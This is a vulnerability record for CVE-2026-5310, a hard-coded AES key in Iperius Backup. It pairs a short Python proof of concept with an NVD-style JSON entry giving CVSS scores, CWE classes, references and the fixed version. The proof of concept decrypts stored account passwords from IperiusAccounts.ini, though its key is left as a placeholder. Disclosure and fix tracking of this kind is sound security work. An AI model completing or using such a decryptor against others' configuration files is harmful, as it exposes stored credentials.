CVE-2026-5310

# Proof of Concept for CVE-2026-5310 # Hardcoded Cryptographic Key Usage in Iperius Backup import base64 from Crypto.Cipher import AES from Crypto.Util.Padding import unpad import configparser # The hardcoded key extracted from the vulnerable binary # In a real scenario, this would be derived from reversing the specific version HARDCODED_KEY = b'IPERIUS_BACKUP_KEY_...' IV = b'INIT_VECTOR_16BY' def decrypt_config(file_path): config = configparser.ConfigParser() config.read(file_path) # Assuming the encrypted data is stored in a specific section/key encrypted_data = config.get('Accounts', 'EncryptedPassword') try: # Decode base64 if needed enc_bytes = base64.b64decode(encrypted_data) # Create cipher object cipher = AES.new(HARDCODED_KEY, AES.MODE_CBC, IV) # Decrypt and unpad decrypted = unpad(cipher.decrypt(enc_bytes), AES.block_size) print(f"[+] Decrypted Password: {decrypted.decode('utf-8')}") except Exception as e: print(f"[-] Decryption failed: {e}") if __name__ == "__main__": # Usage: python poc.py <path_to_IperiusAccounts.ini> import sys if len(sys.argv) > 1: decrypt_config(sys.argv[1]) else: print("Please provide the path to IperiusAccounts.ini")

{"cve": {"id": "CVE-2026-5310", "sourceIdentifier": "[email protected]", "published": "2026-04-01T17:28:43.313", "lastModified": "2026-04-29T01:00:01.613", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "A vulnerability was identified in Enter Software Iperius Backup up to 8.7.2. This impacts an unknown function of the file IperiusAccounts.ini. Such manipulation leads to use of hard-coded cryptographic key\r . The attack must be carried out locally. This attack is characterized by high complexity. The exploitability is said to be difficult. The exploit is publicly available and might be used. Upgrading to version 8.7.4 will fix this issue. It is suggested to upgrade the affected component. The vendor was contacted early, responded in a very professional manner and quickly released a fixed version of the affected product."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:L/AC:H/AT:N/PR:L/UI:N/VC:L/VI:N/VA:N/SC:N/SI:N/SA:N/E:P/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 1.1, "baseSeverity": "LOW", "attackVector": "LOCAL", "attackComplexity": "HIGH", "attackRequirements": "NONE", "privilegesRequired": "LOW", "userInteraction": "NONE", "vulnConfidentialityImpact": "LOW", "vulnIntegrityImpact": "NONE", "vulnAvailabilityImpact": "NONE", "subConfidentialityImpact": "NONE", "subIntegrityImpact": "NONE", "subAvailabilityImpact": "NONE", "exploitMaturity": "PROOF_OF_CONCEPT", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:L/I:N/A:N", "baseScore": 2.5, "baseSeverity": "LOW", "attackVector": "LOCAL", "attackComplexity": "HIGH", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "LOW", "integrityImpact": "NONE", "availabilityImpact": "NONE"}, "exploitabilityScore": 1.0, "impactScore": 1.4}], "cvssMetricV2": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "2.0", "vectorString": "AV:L/AC:H/Au:S/C:P/I:N/A:N", "baseScore": 1.0, "accessVector": "LOCAL", "accessComplexity": "HIGH", "authentication": "SINGLE", "confidentialityImpact": "PARTIAL", "integrityImpact": "NONE", "availabilityImpact": "NONE"}, "baseSeverity": "LOW", "exploitabilityScore": 1.5, "impactScore": 2.9, "acInsufInfo": false, "obtainAllPrivilege": false, "obtainUserPrivilege": false, "obtainOtherPrivilege": false, "userInteractionRequired": false}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-320"}, {"lang": "en", "value": "CWE-321"}]}], "references": [{"url": "https://github.com/VulnaraByte/iperius-backup-security-advisories", "source": "[email protected]"}, {"url": "https://github.com/VulnaraByte/iperius-backup-security-advisories/blob/main/poc/decrypt_iperius.py", "source": "[email protected]"}, {"url": "https://vuldb.com/submit/778602", "source": "[email protected]"}, {"url": "https://vuldb.com/vuln/354639", "source": "[email protected]"}, {"url": "https://vuldb.com/vuln/354639/cti", "source": "[email protected]"}, {"url": "https://www.iperiusbackup.com/download-software-backup.aspx", "source": "[email protected]"}]}}